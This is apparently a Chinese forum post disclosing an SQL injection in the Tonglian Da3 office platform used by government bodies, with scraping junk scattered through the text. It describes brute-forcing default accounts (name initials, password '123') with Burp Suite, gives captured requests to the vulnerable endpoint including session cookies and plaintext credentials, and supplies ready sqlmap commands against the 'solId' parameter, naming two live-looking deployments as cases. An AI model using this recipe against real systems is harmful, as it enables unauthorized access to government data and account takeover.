同联Da3协同办公平台前台通用sql injection漏洞

admin

% d$ |6 c7 k! w T# a0 {& O" ]

平台简介： 8 A6 s/ e' c# z+ Z' a

$ S9 |& \! ?1 R7 K8 E  

2 U# M+ @; S9 h( C, W) b 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
1 t$ g& k, U O同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ & c8 r X% |; p3 y/ h) z/ ]" Y( }

7 h' ^: ?1 N. h: J$ w

 

& J/ }* c. a3 K6 h: z& u, R( f

9 s1 i4 Z# c- ~0 m) ^& L5 _+ D% z 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： . v% A8 I& K( z* P- [# w2 S

+ u) W, c0 K# [4 t; w

  ' A! L& G) g" o& P

http://1.1.1.1:7197/cap-aco/#（案例2-） , v- J6 {! x8 P

% j( \7 h7 {6 F! i& [( [. N& ^

# Z/ e0 I3 p7 g http://www.XXOO.com （案例1-官网网站） 2 [& k$ C& ^" ?* a. G: _3 e

% w( T( J D& ?5 s' G   ! N, ~: ?- k. |

1 e% i5 ?! u; V" l5 @/ @

( u! S) w+ {4 ^) V3 }3 S6 n 漏洞详情: 3 z( @' T; u j

# v" F7 W( n6 B

! R; S1 @! B! y# L  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 " T% o$ n' L o( h7 I

3 `) q. r* v! |& _9 B- m

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

{9 n1 \3 ~8 d3 m% P! L6 X6 [+ H  

f1 [. @% X, P" _& ] G2 o: Q# l

 

( |/ r2 ?$ x+ v# ~ y5 v status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： 4 X5 {$ b6 U: [

& Q; {" U7 T: s6 E' Q. R

' I8 \+ U& {( q# l& @% `: A 1、案例1-官方网站

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

$ \( T0 Y+ ~# ?% G4 m1 f5 B' M Host: www.XXOO.com 8 p" A* R' C+ h7 V4 a+ v8 g

; S& \5 D* U; D, T" S Proxy-Connection: Keep-Alive

% b" N3 R# I. d' b. q

Accept: application/json, text/javascript, */*; q=0.01

7 w+ v# J- m4 E+ M6 e- e3 g3 B$ X/ f Accept-Language: zh-CN 9 [* f7 N% k3 I4 q2 i, F

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

. J# m; z6 i* P8 z9 m! }

X-Requested-With: XMLHttpRequest

$ ^' h& N; e6 [+ `# E) n Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 + W r0 a4 b! Y9 C/ t' ]# d9 r( S

Accept-Encoding: gzip, deflate, sdch ' D) S2 I- }6 \

8 n4 g7 u Z9 A: R

5 P/ w: Y( j0 j) [' x- n Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e 0 ^3 ]5 v" B) g# A8 g) n

$ |3 ]0 {0 y+ f6 }4 R! t6 a% c 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 6 J) Y, f; Y3 U( O( w

: J4 w5 [) x; X/ i

# T8 p7 D: X3 H6 e- }8 Y  

0 b4 ?* I( }! ~  

  + R- C8 k, V. |! h/ S9 m

( y E9 ~% ~( H6 I C) k; H- x7 J" ^  

9 A0 G; {) ?; s8 g1 P2 k! ?   / z! ~: X& Y& F' h

6 P! ^* F9 B# b3 E- {) w 2、案例2-某天河云平台

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

Host: 1.1.1.:7197

Accept: application/json, text/javascript, */*; q=0.01 5 V+ N, p. X; M j

X-Requested-With: XMLHttpRequest

6 z8 ?- F* f/ K6 A. D7 x

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 " d+ i) @0 E, T* y1 y8 t

Content-Type: application/json

- d! p/ ~, g+ o! D. ~$ [

' E+ v: |- `! e) \ Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

m: k& V" |# s5 h* k2 b i

Accept-Language: zh-CN,zh;q=0.8 , W4 C L, h' P2 T2 }4 S ]' H

2 \- b5 H! ~5 Q/ n% E

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 % y: w4 q& Z+ I! p9 \) m4 }

Connection: close & n' G* x+ t1 p! M

( n, p) W6 E# F( \7 L, e. s0 T

8 L% y8 \8 P5 W, Z% t 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

0 t9 U8 \, V$ x* C; a. |$ Z: f- J